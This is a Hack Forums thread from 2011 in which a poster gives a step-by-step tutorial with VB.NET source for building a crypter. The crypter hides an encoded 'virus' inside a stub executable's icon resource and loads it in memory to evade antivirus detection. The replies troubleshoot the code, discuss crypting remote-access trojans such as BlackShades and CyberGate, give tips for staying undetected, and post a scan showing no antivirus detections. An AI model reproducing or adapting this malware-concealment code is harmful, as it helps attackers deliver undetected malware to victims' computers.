

Forum:[Hack Forums](#)

Thread: [\[TuT\]\[Source\] Make Your Own UnKnoWn Crypter by stefstot \[100% FUD\]\[Unique\New Method\]](#)

stefstot - March 7, 2011, 3:43 am

THIS TUTORIAL IS DAMN OLD

See also: <https://hackforums.net/showthread.php?tid=1112405>

Today I released my new 100% FUD crypter with new method. So in this thread I will explain how it works and how you can build your own FUD crypter (just give credits).

Introduction

As we know to make a crypter we need to combine both stub and virus (I'll be calling it virus) into a new file (the server). There are several ways of doing it. The most common is to open the stub add a specified string (so we can split it) at and throw the crypted virus at the end of the stub (EOF). Another way is to throw the crypted virus into the resources of the stub and call it whenever we want. These ways are very common and consequently easily detected. The best way to make a crypter is using codedom. Such applications are hard and very delicate. Anyway the method I'm using is similar to the second way but not the same. So what I'm doing different? This might sound easy or "crazy" but took A LOT of time to think it. I'm just getting the virus's bytes and clone it into the icon of the stub, yes the icon! Experimenting, some few days ago, I found I could turn an application into a working .png (so .jpg and .ico files should work) file bypassing EVERY AV. In theory I could turn my virus into an .png (or .ico) file (and I don't mean changing the extension!), add it in my stub's resources and call it whenever I want. This was good for spreading my virus, but not for creating a crypter. Eventually the solution was to build the stub with a big in size icon and change the bytes storing the virus. Summing up, that we're gonna to do is: to find the offset where the icon starts and changed its bytes with virus's one.

Getting Started

The first thing we have to do is to build the stub. Make a new project, with a name you choose. Change the text of the form to nothing, make opacity 0% and size 0;0. Secondly find a big in size icon and add it to the form1 (I personally use 280k byte icon, but the bigger it is the better). Build your application. Continuing make a new project, the name is not important, this will only be a support application that will help us generate and build the crypter. For avoiding confusion I will be calling the first project (the stub) as project1 and the second project (the second one) as project2.

In project2 add a button and a textbox. Write click the form and select "view source". Add this code in your class:

```
Code Function get_offset(ByVal app_path As String, ByVal icon_path As String)
    Dim o As Byte() = IO.File.ReadAllBytes(icon_path)
    Dim f As Byte() = IO.File.ReadAllBytes(app_path)
    Dim k As Integer = 0
    For i = 0 To f.Count - 1
        If f(i) = o(0) Then
            For i2 = i To i + o.Count - 1
                If Not k = o.Count - 1 Then
                    If f(i2) = o(i2 - i) Then
                        k += 1
                    End If
                End For
            End If
        End For
    End For
```

```

Else
k = 0
Exit For
End If
Else
Return i
Exit Function
End If
Next
End If
Next

```

End Function This function will return the number of byte in your buoled stub were the icon code starts.

Now double click the button and add this code

```

Code dim p as string = 'the path to your stub (compiled project1)
dim b as string = 'the path to your icon you added in the stub
Textbox1.text = get_offset(p, b)

```

Now run the project2 and click the button1. The textbox1 should come up with an integer (the byte\offest, were the icon starts), write it down (we gonna need this).

Building the main crypter

Since we have the offset of the icon (I will be calling just offset), we got the bytes that we can modify in the stub without causing errors. Make a third project (this will be our main crypter), I will be calling it project3.

In project3 add 2xTextbox and 1xButton. The textbox1 will be the file we want to crypt and the Textbox2 the path we want to save it. The button will just do all the stuff. Double click the button and add this code

```

Code If TextBox1.TextLength = 0 Then
    MsgBox("Please Select File to crypt!", MsgBoxStyle.Information)
    Exit Sub
End If
If TextBox2.TextLength = 0 Then
    MsgBox("Please select were you want to save crypted file!", MsgBoxStyle.Information)
    Exit Sub
End If
'..
Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
If inject.Count > 286356 Then
    MsgBox("The file you want to crypt is to big! Please select a file between 0 and 286356 bytes.",
MsgBoxStyle.Critical)
    Exit Sub
End If
Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath), "(12345)&(12345)")
Dim f As Byte() = Convert.FromBase64String(q(1))
For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1
    f(i) = inject(i - 1673 - 500)
Next
Dim c As String = inject.Count.ToString
Dim d() As String
ReDim d(c.Length)
Dim n As Integer = 0

```

```

For Each kl As Char In c
    If Not c = "." Then
        d(n) = kl
        n += 1
    End If
Next
For i = 1673 + 287356 - 500 To 1673 + 287356 - 500 + d.Count - 1
    f(i) = d(i - (1673 + 287356 - 500))
Next
f(1673 + 287356 - 500 + d.Count - 1) = &HAA
Try
    IO.File.WriteAllBytes(TextBox2.Text, f)
Catch ex As Exception
    MsgBox("Failed to save the file! Reason: " & ex.Message, MsgBoxStyle.Critical)
Exit Sub
End Try
MsgBox("File successfully crypted!", MsgBoxStyle.Information)

```

You will also need this

```

Code Function Secure(ByVal data As Byte()) As Byte()
    For i = 0 To data.Count - 1
        If Not data(i) = 0 Then
            data(i) -= 1
        Else
            data(i) = 255
        End If
    Next
    Return data
End Function

```

I will now explain it:

-The first lines (before the '--) are checking whether we have added the necessary paths.

```

Code Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
If inject.Count > 286356 Then
    MsgBox("The file you want to crypt is too big! Please select a file between 0 and 286356 bytes.",
MsgBoxStyle.Critical)
Exit Sub
End If

```

Variable inject is the file we want to crypt in bytes.

> 286356 This number is the icon's size (that we used in the project1 subtracted by 1000, do the same by adding your number). The code that remains it speaks by itself. The file must have a necessary number of bytes (not bigger than icon's size -1000, that's why we need a big in size icon)

```

Code Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath),
"(12345)&(12345)")

```

Dim f As Byte() = Convert.FromBase64String(q(1)) In these lines the program gets itself, and splits itself using "(12345)&(12345)" this as split word and gets the bytes of the stub. We'll compile the stub into the main crypter later.

```

Code For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1
    f(i) = inject(i - 1673 - 500)

```

Next Before I explain the code I must declare the numbers. "1673" is the offset that we got (change it with yours) and "500" are the first 500 bytes of the icon. We should change them as the modification of the very first bytes will just crash our application. Now, this code will get the f() which is our stub and modify the icon's bytes. So far we're ok. Our problem is that we must also store the

virus's length in order to let the stub know how many bytes to read. The following code will do the stuff (no I won't explain this line by line, sorry)

```
Code Dim c As String = inject.Count.ToString
```

```
Dim d() As String
```

```
ReDim d(c.Length)
```

```
Dim n As Integer = 0
```

```
For Each kl As Char In c
```

```
    If Not c = "." Then
```

```
        d(n) = kl
```

```
        n += 1
```

```
    End If
```

```
Next
```

```
For i = 1673 + 287356 - 500 To 1673 + 287356 - 500 + d.Count - 1
```

```
    f(i) = d(i - (1673 + 287356 - 500))
```

```
Next
```

```
f(1673 + 287356 - 500 + d.Count - 1) = &HAA
```

So the remaining code will just save the new file

```
Code Try
```

```
    IO.File.WriteAllBytes(TextBox2.Text, f)
```

```
Catch ex As Exception
```

```
    MsgBox("Failed to save the file! Reason: " & ex.Message, MsgBoxStyle.Critical)
```

```
Exit Sub
```

```
End Try
```

```
MsgBox("File successfully crypted!", MsgBoxStyle.Information)
```

Build project3. Our crypter is almost ready (we won't use anymore project3, you can close it).

Building our Stub

Go back to project1 write click it and replace all the code with this

```
Code Imports System.Reflection
```

```
Imports System.Runtime.CompilerServices
```

```
Public Class Form1
```

```
    Dim t As Threading.Thread = New Threading.Thread(AddressOf run_bytes)
```

```
    Dim icon_length As Integer = 287356
```

```
    Dim mikos As String
```

```
    Dim locationstart As Integer = 1673 + icon_length - 500
```

```
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles MyBase.Load
```

```
    On Error Resume Next
```

```
    Me.Location = New Point(-50, -50)
```

```
    Dim f As Byte() = IO.File.ReadAllBytes(Application.ExecutablePath)
```

```
    For i = locationstart To locationstart + 7
```

```
        If Not f(i) = &HAA Then
```

```
            mikos &= f(i)
```

```
        Else
```

```
            Exit For
```

```
        End If
```

```
    Next
```

```
    Dim b As Byte()
```

```
    ReDim b(mikos)
```

```
    For i = 1673 + 500 To 1673 + 500 + mikos - 2
```

```
        b(i - 1673 - 500) = f(i)
```

```
    Next
```

```

Dim new_ As Byte()
ReDim new_(b.Count - 2)
For i = 0 To b.Count - 3
    new_(i) = b(i)
Next
t.Start(ERWTVTHCGAFSEDEDAEDscsegef(new_))
me.hide()
End Sub
Private Sub run_bytes(ByVal bytes As Byte())
Dim assembly As Assembly = assembly.Load(bytes)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object =
RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String()
{"1"}})
End Sub
Function ERWTVTHCGAFSEDEDAEDscsegef(ByVal data As Byte()) As Byte() 'unsecure
For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
        data(i) += 1
    Else
        data(i) = 0
    End If
Next
Return data
End Function
End Class

```

In this code we have the Unsecure algorithm, that will unsecure, the secured bytes.

```

Code Function ERWTVTHCGAFSEDEDAEDscsegef(ByVal data As Byte()) As Byte() 'unsecure
For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
        data(i) += 1
    Else
        data(i) = 0
    End If
Next
Return data
End Function

```

And our runpe function

```

Code Private Sub run_bytes(ByVal bytes As Byte())
Dim assembly As Assembly = assembly.Load(bytes)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object =
RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String()
{"1"}})
End Sub

```

Now we must do some modifications.

Change the integer " Dim icon_length As Integer = 287356" to your icon's size (bytes)

Change the 1673 to the offset we found "Dim locationstart As Integer = 1673 + icon_length - 500"

In the form_load event change the the number "1673" with your offset.

I will not really explain the stub as it's easy. It just reads the size of the file that has been "injected",

reads it and runs it. Build your stub.

Go to project2 add a new button, double click it and write this

```
Code Dim stub As String = Convert.ToBase64String(IO.File.ReadAllBytes("C:\stub.exe"))
```

IO.File.AppendAllText("C:\v2.exe", "(12345)&(12345)" & stub) Just copy your main crypter (compiled project3) in "C:\v2.exe" and your stub (compiled project1) in "C:\stub.exe". Run project2 and click your second button in order to combine both crypter and stub. If no errors came up, then the "C:\v2.exe" is our complete crypter and ready to be used.

Request

If you use this please give credits and reply. Post any errors here and ask help. DO NOT LEECH IT especially on other forums.

UnKnoWn Crypter Tut by stefstot

Eternity - March 7, 2011, 3:55 am

This seem's pretty legit to me, also well explained. Well done man.

50GTB - March 8, 2011, 2:35 am

lets hope this code doesn't get leeches nice work there ! +3rep dude

stefstot - March 8, 2011, 4:57 am

(Mar 8, 2011 03:35 AM)NNBoys Wrote: [\[CITE\]](#) lets hope this code doesn't get leeches nice work there ! +3rep dude

thank you for your support. too bad that the error in database is always affecting my post -.-

Internap. - March 8, 2011, 5:05 am

so nice post mate but i tested that yesterday and it makes 4 / 33 detections on scan4you.biz ... on novirusthanks its FUD i know but there are not 33 av engines .. also the files are all get corrupted i tested blackshades, cybergate. You tell its the runpe but where should we get a good one that works ? ;) also the stub is detected ;) how can we fix that ?

Greetings

stefstot - March 8, 2011, 5:20 am

(Mar 8, 2011 06:05 AM)tiCeR™ Wrote: [\[CITE\]](#) so nice post mate but i tested that yesterday and it makes 4 / 33 detections on scan4you.biz ... on novirusthanks its FUD i know but there are not 33 av engines .. also the files are all get corrupted i tested blackshades, cybergate. You tell its the runpe but where should we get a good one that works ? ;) also the stub is detected ;) how can we fix that ?

Greetings

the stub is detected, since it's a public crypter. Obfuscate it a little and try renaming the variables. As for the runpe you can search for a better one.

I'm currently updating my crypter and a much more better version will come shortly. Unfortunately i won't update the tutorial, since I'm showing you a basic way on how to code your crypter. The key is in stub, since the storing method is new, working and completely undetected by AVs.

hacphongthan - March 8, 2011, 5:28 am

nice tut

but when it detects how can we refud this

stefsot - March 8, 2011, 5:34 am

(Mar 8, 2011 06:28 AM)hacphongthan Wrote: [\[CITE\]](#) nice tut but when it detect how can we refud this I already answered above ;)

Superman² - March 8, 2011, 7:13 am

Thanks for that ! I really enjoy people like you.

Androcir - March 8, 2011, 7:23 am

Nice Tutorial Man, well done!!

stefsot - March 8, 2011, 7:43 am

(Mar 8, 2011 08:13 AM)Superman² Wrote: [\[CITE\]](#) Thanks for that ! I really enjoy people like you. I'm pleased with your comment ;)

hazy - March 8, 2011, 8:47 am

After doing all the steps, when I click the button to crypt the file I get:

Index was outside the bounds of the array.

EDIT: sorted it now but when running my crypted fille it instantly stops working.

iGazzy - March 8, 2011, 10:25 am

copied everything. When I press play it basically says that it cannot locate what I just made.

stefsot - March 8, 2011, 10:30 am

(Mar 8, 2011 09:47 AM)hazzy Wrote: [\[CITE\]](#) EDIT: sorted it now but when running my crypted fille it instantly stops working.

It's the runpe. The runpe i provided works for dynamically managed applications.

A B c - March 8, 2011, 10:31 am

(Mar 8, 2011 03:35 AM)NNBoys Wrote: [\[CITE\]](#) lets hope this code doesn't get leeched nice work there ! +3rep dude

Dude first of all I just wanted to say your sig is the SHIT!

Anyways thanks for the tut bro it helped me out a lot and I look forward to seeing more work from you man keep it up.

stefsot - March 8, 2011, 10:34 am

(Mar 8, 2011 11:31 AM)A B c Wrote: [\[CITE\]](#) Dude first of all I just wanted to say your sig is the SHIT!

Anyways thanks for the tut bro it helped me out a lot and I look forward to seeing more work from you man keep it up.

Are you talking about my sig?

juird - March 8, 2011, 11:33 am

Nice tutorial. Thanks for sharing, well done!

SuckMyDong - March 11, 2011, 5:22 am

Great tut ! +rep ;)

Peace

Kill?Muvz - March 11, 2011, 6:02 am

Thanks for taking time to post this.
Will look into it this afternoon.

Luzifer - March 11, 2011, 6:59 am

(Mar 11, 2011 06:22 AM)MRblack Wrote: [\[CITE\]](#) First code i type over gives me errors immediatly
End Function gives me error and TextBox1.Text = get_offset(p, b) the p, b gives me erro

Any help would be nice ;)

Don't just copy&paste his awesome code. At least read it once.

hint

dim p as string = 'the path to your stub (compiled project1)

dim b as string = 'the path to your icon you added in the stub /hint

jamiefleming - March 11, 2011, 8:29 am

Nice tutorial but on project2 i get the error. A first chance exception of type
'System.ArgumentNullException' occurred in mscorlib.dll Dim o As Byte() =
IO.File.ReadAllBytes(icon_path)
when i click button 1 please help :)

stefsot - March 11, 2011, 8:57 am

(Mar 11, 2011 09:29 AM)jamiefleming Wrote: [\[CITE\]](#) Nice tutorial but on project2 i get the error. A
first chance exception of type 'System.ArgumentNullException' occurred in mscorlib.dll Dim o As
Byte() = IO.File.ReadAllBytes(icon_path)
when i click button 1 please help :)

This means that it cannot find the byte. Make sure you added the icon in the Form1 and not int the
application's properties.

sam0016 - March 11, 2011, 10:49 am

looks like a nice tut +reped :)

jamiefleming - March 11, 2011, 11:29 am

(Mar 11, 2011 09:57 AM)stefsot Wrote: [\[CITE\]](#) This means that it cannot find the byte. Make sure you
added the icon in the Form1 and not int the application's properties.

Yes i have added the icon into the form and not properties but still have the same problem.

stefsot - March 11, 2011, 11:49 am

(Mar 11, 2011 12:29 PM)jamiefleming Wrote: [\[CITE\]](#) Yes i have added the icon into the form and not
properties but still have the same problem.

Make sure you have added correct app path and icon path.

jamiefleming - March 11, 2011, 12:12 pm

(Mar 11, 2011 12:49 PM)stefsot Wrote: [\[CITE\]](#) Make sure you have added correct app path and icon
path.Dim b As String =' C:\Users\Admin\Desktop\stumbleupon.ico

not sure if this is correct

stefsot - March 11, 2011, 12:20 pm

(Mar 11, 2011 01:12 PM)jamiefleming Wrote: [\[CITE\]](#) Dim b As String ='

C:\Users\Admin\Desktop\stumbleupon.ico

not sure if this is correct

It seems correct.

I do not know what's the problem...

jamiefleming - March 11, 2011, 1:57 pm

=(cheers anyway nice tut

Xflinitrix - March 12, 2011, 4:00 pm

(Mar 11, 2011 01:12 PM)jamiefleming Wrote: [\[CITE\]](#) Dim b As String ='
C:\Users\Admin\Desktop\stumbleupon.ico

not sure if this is correct

Remove the " ' " the ' <-- By the way your code is wrong.

Code ReDim new_(b.Count - 2)

For i = 0 To b.Count - 3

Vb.net does not have a count property it has a Length property tho.

Code should be

Code ReDim new_(b.Length - 2)

For i = 0 To b.Length - 3

NETio - March 12, 2011, 4:11 pm

To those saying that this corrupts their servers, the "RunPE" in this is not a real RunPE, it is Reflection. In other words, this only crypts .NET files! This was designed to do a job, and it appears to do so rather well.

stefsot - March 13, 2011, 4:32 am

(Mar 12, 2011 05:11 PM)NETio Wrote: [\[CITE\]](#) To those saying that this corrupts their servers, the "RunPE" in this is not a real RunPE, it is Reflection. In other words, this only crypts .NET files! This was designed to do a job, and it appears to do so rather well.

Thank you for explaining it ;)

The runpe can be changed easily once you've made the crypter.

Taoumek - March 13, 2011, 5:26 am

Awesome!

Thank YOu For The Share ;

:) EDit : It Doesn't Support Win 7 ;i get a message saying that the v2.exe Won't work on my 64
systeme

[img]http://i61.servimg.com/u/f61/14/31/34/66/captur10.png[/img]

NETio - March 13, 2011, 10:46 am

(Mar 13, 2011 04:32 AM)stefsot Wrote: [\[CITE\]](#) Thank you for explaining it ;)

The runpe can be changed easily once you've made the crypter.

And thank you for an excellent tutorial. Now let's see how many VB.NET crypters pop up on HF
using your method :P

EDIT:

(Mar 13, 2011 05:26 AM)Taoumek Wrote: [\[CITE\]](#) Awesome!

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It DOES support Windows 7. The included Reflection "RunPE" seems to only work for VB.NET files
(I personally tweaked my own version to support any .NET files), but it runs on Windows 7 Ultimate
x64 just fine with either method. If you tried to put in a new RunPE to run non .NET files, then it is
likely that causing the error. There is a definite lack of stable x64-compatible RunPE modules for
.NET.

UPDATE:

Not only is this a great base for a crypter, but it's true, it is FUD!

File Info

Report date: 2011-03-13.

Link to scan: PM if you need proof

File name: P4M.exe

File size: 430080 bytes

Detection rate: 0 out of 33

Status: CLEAN

Detections

AVG - Clean.

Acavir - Clean.

Avast 5 -Clean.

Avast -Clean.

Avira -Clean.

BitDefender -Clean.

VirusBuster Internet Security -Clean.

Clam Antivirus -Clean.

COMODO Internet Security -Clean.

DrWeb -Clean.

eTrust-Vet -Clean.

F-PROT Antivirus -Clean.

F-Secure Internet Security -Clean.

G Data -Clean.

IKARUS Security-Clean.

Kaspersky Antivirus -Clean.

McAfee -Clean.

MS Security Essentials -Clean.

ESET NOD32 -Clean.

Norman -Clean.

Norton -Clean.

Panda Security -Clean.

A-Squared Security -Clean.

Quick Heal Antivirus -Clean.

Rising Antivirus -Clean.

Solo Antivirus -Clean.

Sophos -Clean.
Trend Micro Internet Security -Clean.
VBA32 Antivirus -Clean.
Vexira Antivirus -Clean.
Webroot Internet Security -Clean.
Zoner AntiVirus -Clean.
AhnLab V3 Internet Security -Clean.

stefstot - March 13, 2011, 1:57 pm

(Mar 13, 2011 10:46 AM)NETio Wrote: [\[CITE\]](#) And thank you for an excellent tutorial. Now let's see how many VB.NET crypters pop up on HF using your method :P

EDIT:

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COMODO Internet Security -Clean.
DrWeb -Clean.
eTrust-Vet -Clean.
F-PROT Antivirus -Clean.
F-Secure Internet Security -Clean.
G Data -Clean.
IKARUS Security-Clean.
Kaspersky Antivirus -Clean.
McAfee -Clean.
MS Security Essentials -Clean.
ESET NOD32 -Clean.

Norman -Clean.
Norton -Clean.
Panda Security -Clean.
A-Squared Security -Clean.
Quick Heal Antivirus -Clean.
Rising Antivirus -Clean.
Solo Antivirus -Clean.
Sophos -Clean.
Trend Micro Internet Security -Clean.
VBA32 Antivirus -Clean.
Vexira Antivirus -Clean.
Webroot Internet Security -Clean.
Zoner AntiVirus -Clean.
AhnLab V3 Internet Security -Clean.
Thank you for your supporting role in this thread.

jamiefleming - March 13, 2011, 3:42 pm

Getting an error when crypting

Spoiler ([Click to View](#)) [img]http://img268.imageshack.us/img268/3435/errorxmt.png[/img]

can anyone help ?

Gringo241 - March 14, 2011, 12:47 pm

Why is this thread only rated 3 stars? Shocking!

Well done stefstot, +rep'd you. I also rated your thread 5 stars.

stefstot - March 14, 2011, 1:04 pm

(Mar 13, 2011 03:42 PM)jamiefleming Wrote: ([CITE](#)) Getting an error when crypting

Spoiler ([Click to View](#)) [img]http://img268.imageshack.us/img268/3435/errorxmt.png[/img]

can anyone help ?

Give more details about the problem... (Mar 14, 2011 12:47 PM)Gringo241 Wrote: ([CITE](#)) Why is this thread only rated 3 stars? Shocking!

Well done stefstot, +rep'd you. I also rated your thread 5 stars.

I'm glad you appreciate my work.

jamiefleming - March 14, 2011, 1:36 pm

(Mar 14, 2011 01:04 PM)stefstot Wrote: ([CITE](#)) Give more details about the problem...

[img]http://img806.imageshack.us/img806/8862/capturejl.png[/img]

When i click crypt i get the error msg

Spoiler ([Click to View](#)) See the end of this message for details on invoking just-in-time (JIT) debugging instead of this dialog box.

Exception Text

System.ArgumentNullException: Value cannot be null.

Parameter name: source

at System.Linq.Enumerable.Count[TSource](IEnumerable`1 source)

at Crypter.Form1.Button1_Click(Object sender, EventArgs e) in C:\Users\Admin\documents\visual studio 2010\Projects\Crypter\Crypter\Form1.vb:line 24

at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButton button, Int32 clicks)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ButtonBase.WndProc(Message& m)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

Loaded Assemblies

mscorlib

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)

CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll

--

Crypter

Assembly Version: 1.0.0.0

Win32 Version: 1.0.0.0

CodeBase:

file:///C:/Users/Admin/Documents/Visual%20Studio%202010/Projects/Crypter/Crypter/bin/Release/Crypter.exe

--

Microsoft.VisualBasic

Assembly Version: 10.0.0.0

Win32 Version: 10.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll

--

System

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll

--

System.Core

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll

--

System.Windows.Forms

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll

```
--
System.Drawing
  Assembly Version: 4.0.0.0
  Win32 Version: 4.0.30319.1 built by: RTMRel
  CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
--
System.Configuration
  Assembly Version: 4.0.0.0
  Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)
  CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll
--
System.Xml
  Assembly Version: 4.0.0.0
  Win32 Version: 4.0.30319.1 built by: RTMRel
  CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll
--
System.Runtime.Remoting
  Assembly Version: 4.0.0.0
  Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)
  CodeBase:
file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
--
```

JIT Debugging

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

Gringo241 - March 14, 2011, 4:52 pm

(Mar 14, 2011 01:36 PM)jamiefleming Wrote: [\[CITE\]](#)

[img]http://img806.imageshack.us/img806/8862/capturejl.png[/img]

When i click crypt i get the error msg

Spoiler [\(Click to View\)](#) See the end of this message for details on invoking

just-in-time (JIT) debugging instead of this dialog box.

Exception Text

System.ArgumentNullException: Value cannot be null.

Parameter name: source

at System.Linq.Enumerable.Count[TSource](IEnumerable`1 source)
at Crypter.Form1.Button1_Click(Object sender, EventArgs e) in C:\Users\Admin\documents\visual studio 2010\Projects\Crypter\Crypter\Form1.vb:line 24
at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ButtonBase.WndProc(Message& m)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

Loaded Assemblies

mscorlib

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)

CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll

--

Crypter

Assembly Version: 1.0.0.0

Win32 Version: 1.0.0.0

CodeBase:

file:///C:/Users/Admin/Documents/Visual%20Studio%202010/Projects/Crypter/Crypter/bin/Release/Crypter.exe

--

Microsoft.VisualBasic

Assembly Version: 10.0.0.0

Win32 Version: 10.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll

--

System

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll

--

System.Core

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e0

89/System.Core.dll

--

System.Windows.Forms

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll

--

System.Drawing

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll

--

System.Configuration

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll

--

System.Xml

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 built by: RTMRel

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll

--

System.Runtime.Remoting

Assembly Version: 4.0.0.0

Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)

CodeBase:

file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll

--

JIT Debugging

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer

rather than be handled by this dialog box.

I am pretty sure you have made a mistake while following this part of the tutorial:

(Mar 7, 2011 04:43 AM)stefsot Wrote: [\[CITE\]](#) Code Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))

If inject.Count > 286356 Then

MsgBox("The file you want to crypt is to big! Please select a file between 0 and 286356 bytes.", MsgBoxStyle.Critical)

Exit Sub

End IfVariable inject is the file we want to crypt in bytes.

"> 286356" This number is the icon's size (that we used in the project1 subtracted by 1000, do the same by adding your number). The code that remains it speaks by itself. The file must have a necessary number of bytes (not bigger than icon's size -1000, that's why we need a big in size icon)

Code Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath), "(12345)&(12345)")

Dim f As Byte() = Convert.FromBase64String(q(1))In these lines the program gets itself, and splits itself using "(12345)&(12345)" this as split word and gets the bytes of the stub. We'll compile the stub into the main crypter later.

Code For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1

f(i) = inject(i - 1673 - 500)

NextBefore I explain the code I must declare the numbers. "1673" is the offset that we got (change it with yours) and "500" are the first 500 bytes of the icon. We should change them as the modification of the very first bytes will just crash our application. Now, this code will get the f() which is our stub and modify the icon's bytes. So far we're ok. Our problem is that we must also store the virus's length in order to let the stub know how many bytes to read. The following code will do the stuff (no I won't explain this line by line, sorry)

Code Dim c As String = inject.Count.ToString

Dim d() As String

ReDim d(c.Length)

Dim n As Integer = 0

For Each kl As Char In c

If Not c = "." Then

d(n) = kl

n += 1

End If

Next

